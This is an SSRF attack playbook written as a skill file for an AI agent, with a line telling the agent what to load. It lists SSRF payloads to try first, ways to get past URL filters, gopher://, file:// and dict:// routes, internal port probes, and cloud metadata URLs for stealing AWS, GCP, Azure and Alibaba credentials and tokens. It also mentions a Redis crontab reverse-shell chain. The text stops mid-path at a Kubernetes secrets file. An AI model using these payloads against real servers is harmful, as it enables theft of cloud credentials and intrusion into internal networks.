/ssrf-server-side-request-forgery

name: ssrf-server-side-request-forgery
description: >-
  SSRF playbook. Use when the server fetches URLs, resolves hostnames, imports remote content, or can be driven toward internal networks, cloud metadata, or secondary protocols.

SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion [SCENARIOS.md](./SCENARIOS.md).

0. QUICK START

Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:

• WebLogic SSRF (CVE-2014-4210) — `uddiexplorer/SearchPublicRegistries.jsp` + `operator` parameter + `%0D%0A` CRLF to inject Redis commands
• SSRF → internal Redis → write crontab reverse shell complete payload chain
• DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, `rbndr.us` service
• Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
• SSRF through PDF/screenshot generators — `<iframe>` and `<img>` in HTML-to-PDF
• Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
• URL parser confusion for filter bypass — `#@`, `\@`, `%00@`, IPv6-mapped IPv4

Advanced Reference

Also load [URL_PARSER_TRICKS.md](./URL_PARSER_TRICKS.md) when you need:

• URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
• Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
• gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
• DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
• PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques

If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.

First-pass payloads

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

Host validation bypass families

| Validation Type | Try | |---|---| | blocks `localhost` string | `127.0.0.1`, `127.1`, `[::1]` | | blocks direct IP only | internal DNS name, decimal/octal/hex IP forms | | allowlist by prefix | username part, subdomain confusion, redirect chain | | follows redirects | benign external URL redirecting to internal target | | parses once, fetches twice | mixed encoding or DNS rebinding style targets |

Protocol routing

| Goal | Protocol / Target | |---|---| | cloud credentials | metadata HTTP endpoints | | internal HTTP admin | `http://127.0.0.1:port/` | | Redis / raw TCP style abuse | `gopher://` | | local file read candidate | `file://` | | dictionary / banner tests | `dict://` |

---

1. FINDING SSRF SURFACE

Look for **any parameter containing DNS names, IP addresses, or URLs**:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

**Less obvious SSRF vectors**:

• PDF/screenshot generation (URL to capture)
• Webhook configuration fields
• Import/export via URL (CSV import, RSS/Atom feeds)
• OAuth redirect URI (sometimes triggers server-side fetch)
• `X-Forwarded-Host` / `X-Real-IP` headers in proxy chains
• XML `DOCTYPE` with external entity (`file://`, `http://`)
• GraphQL `@link` directive (federation)
• Content-Type: `text/html` pages parsed for `<link>` preload headers

---

2. BASIC CONFIRMATION METHODOLOGY

Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)

---

3. CLOUD METADATA ENDPOINTS — MUST-TRY

AWS EC2 IMDSv1 (no auth required — critical)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (token required — but check if SSRF can GET the token)

Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN

**If SSRF supports custom headers → full IMDSv2 bypass**.

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

file:///var/run/secrets/kubernetes.io/servicea